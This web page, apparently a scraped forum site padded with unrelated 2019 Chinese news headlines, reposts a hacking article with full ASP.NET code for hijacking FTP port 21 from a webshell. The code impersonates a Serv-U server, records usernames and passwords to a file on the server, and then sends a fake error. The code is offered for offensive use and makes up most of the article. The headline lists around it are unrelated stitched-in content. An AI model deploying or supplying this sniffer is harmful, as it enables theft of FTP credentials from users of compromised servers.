• 即将脱下军装:32年,军装已经成为我的皮肤 2019-03-25
  • 台媒曝吴建豪离婚 百亿身家娇妻收两封离婚协议书 2019-03-25
  • 新时代 新作为 新篇章 2019-03-22
  • 江苏三项机制力推干部担当作为 2019-03-22
  • 延时摄影  75小时昼夜记录洛阳牡丹绽放过程 2019-03-18
  • 说说我们家的报国故事 2019-03-17
  • 宜春深燃公司首个分布式能源项目正式落地运行(组图) 2019-03-16
  • 党外代表人士队伍建设 2019-03-15
  • 排污许可制改革持续推进(在习近平新时代中国特色社会主义思想指引下——新时代新作为新篇章) 2019-03-15
  • 清明祭英烈:他抓捕歹徒身中21刀刀刀致命 母亲在追悼会上离世 2019-03-04
  • 乌鲁木齐水磨沟区开建两座立体停车库 2019-03-04
  • 广西:开放发展迈出新步伐(在习近平新时代中国特色社会主义思想指引下——新时代新作为新篇章) 2019-03-03
  • 湖南一博士生举报水利局领导受贿 遭到冒牌纪委约谈 2019-03-01
  • “6·18”网购画风清奇:花露水味酒、生发仪遭疯抢 2019-03-01
  • 吉林:努力让生态“绿色”成为发展“底色” 2019-02-27
  • 笑话大全ico
    您当前的位置 :心水论坛33789>黑客安全>脚本攻防> 正文
    ASP.Net劫持FTP端口的代码
    2015-11-22 07:47来源:厦门门户网
    【摘要】
    如果你有一个ASP.Net的webshell,那么恭喜你,至少权限比ASP的webshell大些。因为ASP.Net支持Socket,所以可以利用端口复用实现端口劫持。 下面就是劫持21端口的ASP.Net代码,因为FTP协议传文件会新开
    如果你有一个ASP.Net的webshell,那么恭喜你,至少权限比ASP的webshell大些。因为ASP.Net支持Socket,所以可以利用端口复用实现端口劫持。 下面就是劫持21端口的ASP.Net代码,因为FTP协议传文件会新开端 ...
     
     
         如果你有一个ASP.Net的webshell,那么恭喜你,至少权限比ASP的webshell大些。因为ASP.Net支持Socket,所以可以利用端口复用实现端口劫持。
     
        下面就是劫持21端口的ASP.Net代码,因为FTP协议传文件会新开端口,就没有用中间人方式而是拿到密码之后直接返回421错误。
     
        当然,Windows2003及之后的系统都不再支持端口复用了。
     
    以下是引用片段:
    <%@ Page Language="VB" Debug="true" %> 
    <%@ import Namespace="System.Threading" %> 
    <%@ import Namespace="System.Text" %> 
    <%@ import Namespace="System.Net" %> 
    <%@ import Namespace="System.Net.Sockets" %> 
    <%@ import Namespace="System.IO" %> 
    <script runat="server"> 
    sub form_load(Src As Object, E As EventArgs) 
            myip.Text=request.ServerVariables("LOCAL_ADDR") 
    end sub 
        Sub BTN_Start_Click(sender As Object, e As EventArgs) 
            Dim error_x as Exception 
             Dim ipAddress As IPAddress = ipAddress.Parse(myIP.Text) 
             Dim localEndPoint As New IPEndPoint(ipAddress, myport.Text) 
             Dim listener As New Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) 
             listener.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReuseAddress, 1) 
              try 
             listener.Bind(localEndPoint) 
             listener.Listen(100) 
                While Not file.exists(server.mappath("snifferexit.dat")) 
                    If CheckBox1.Checked Then 
                         Dim mywrite As New StreamWriter(server.mappath("snifferexit.dat"), True, Encoding.Default) 
      
     
     
                       mywrite.Close() 
                    End If 
                    Dim mySocket As Socket = listener.Accept() 
                    ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf ThreadProc), mySocket) 
                End While 
                 listener.Close() 
            Catch error_x 
                listener.Close() 
                 response.write(error_x) 
            End Try 
        End Sub 
     
             Private Shared Sub ThreadProc(ByVal mySocket As Object) 
                 Dim msg As Byte() 
                 Dim bytes(1024) As Byte 
                 Dim i As Integer 
                 Dim num As Integer 
                 Dim xdata As String 
                 Try 
                    mySocket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReceiveTimeout, 5000) 
                     msg = Encoding.ASCII.GetBytes("220 Serv-U FTP Server v6.0 for WinSock ready..." & vbCrLf) 
                     mySocket.Send(msg, msg.Length, 0) 
     
                     mySocket.Receive(bytes, 0, 1024, 0) 
                     xdata = (Encoding.ASCII.GetString(bytes)) 
     
     
     
    If InStr(1, xdata, "user ", 1) > 0 Then 
                         Dim mywrite As New StreamWriter("e:/myweb/myown/a.txt", True, Encoding.Default) 
                         mywrite.WriteLine(Mid(xdata, 1, InStr(xdata, vbCrLf))) 
                         mywrite.Close() 
     
                         msg = Encoding.ASCII.GetBytes("331 User name okay, need password." & vbCrLf) 
                         mySocket.Send(msg, msg.Length, 0) 
                     Else 
                         msg = Encoding.ASCII.GetBytes("530 Not logged In.." & vbCrLf) 
                         mySocket.Send(msg, msg.Length, 0) 
                     End If 
                     mySocket.Receive(bytes, 0, 1024, 0) 
                     xdata = (Encoding.ASCII.GetString(bytes)) 
                     If InStr(1, xdata, "pass ", 1) > 0 Then 
                         Dim mywrite As New StreamWriter("e:/myweb/myown/a.txt", True, Encoding.Default) 
                         mywrite.WriteLine(Mid(xdata, 1, InStr(xdata, vbCrLf))) 
                         mywrite.Close() 
                         msg = Encoding.
    ASCII.GetBytes("421 Too many users - please try again later." & vbCrLf) 
                         mySocket.Send(msg, msg.Length, 0) 
                     Else 
                         msg = Encoding.ASCII.GetBytes("530 Not logged in.." & vbCrLf) 
                         mySocket.Send(msg, msg.Length, 0) 
                     End If 
     
                 Catch eee As Exception 
                     msg = Encoding.ASCII.GetBytes("421 Maximum session time exceeded - closing." & vbCrLf) 
                     mySocket.Send(msg, msg.Length, 0) 
                     mySocket.Shutdown(SocketShutdown.Both) 
                     mySocket.Close() 
                     Exit Sub 
                 End Try 
                 mySocket.Shutdown(SocketShutdown.Both) 
                 mySocket.Close() 
             End Sub 
     
    </script> 
    <html> 
    <head> 
    </head> 
    <body> 
        <form runat="server"> 
            <p> 
                <asp:Label id="Label1" runat="server">Simple FTP Sniffer by lake2</asp:Label> 
            </p> 
            <p> 
                <asp:Label id="Label2" runat="server" width="60px">IP:</asp:Label> 
    <asp:TextBox id="MyIP" runat="server">220.166.79.218</asp:TextBox> 
                 <asp:Label id="Label3" runat="server">Port</asp:Label> <asp:TextBox id="MyPort" runat="server" Width="40px">21</asp:TextBox> 
                    
                <br /> 
                <asp:CheckBox id="CheckBox1" runat="server" Text="Only sniff one time"></asp:CheckBox> 
            </p> 
            <p> 
                <asp:Label id="Label4" runat="server">Note: If exit , create the file "snifferexit.dat" 
                in current</asp:Label> 
            </p> 
            <p> 
                <asp:Button id="BTN_Start" onclick="BTN_Start_Click" runat="server" Width="77px" Text="Start"></asp:Button> 
            </p> 
            <!-- Insert content here --> 
        </form> 
    </body> 
    </html>
    标签(Tag):
    官方邮箱:心水论坛33789 www.492127.fun 官方微信:www.492127.fun 官方微博:
     
  • 即将脱下军装:32年,军装已经成为我的皮肤 2019-03-25
  • 台媒曝吴建豪离婚 百亿身家娇妻收两封离婚协议书 2019-03-25
  • 新时代 新作为 新篇章 2019-03-22
  • 江苏三项机制力推干部担当作为 2019-03-22
  • 延时摄影  75小时昼夜记录洛阳牡丹绽放过程 2019-03-18
  • 说说我们家的报国故事 2019-03-17
  • 宜春深燃公司首个分布式能源项目正式落地运行(组图) 2019-03-16
  • 党外代表人士队伍建设 2019-03-15
  • 排污许可制改革持续推进(在习近平新时代中国特色社会主义思想指引下——新时代新作为新篇章) 2019-03-15
  • 清明祭英烈:他抓捕歹徒身中21刀刀刀致命 母亲在追悼会上离世 2019-03-04
  • 乌鲁木齐水磨沟区开建两座立体停车库 2019-03-04
  • 广西:开放发展迈出新步伐(在习近平新时代中国特色社会主义思想指引下——新时代新作为新篇章) 2019-03-03
  • 湖南一博士生举报水利局领导受贿 遭到冒牌纪委约谈 2019-03-01
  • “6·18”网购画风清奇:花露水味酒、生发仪遭疯抢 2019-03-01
  • 吉林:努力让生态“绿色”成为发展“底色” 2019-02-27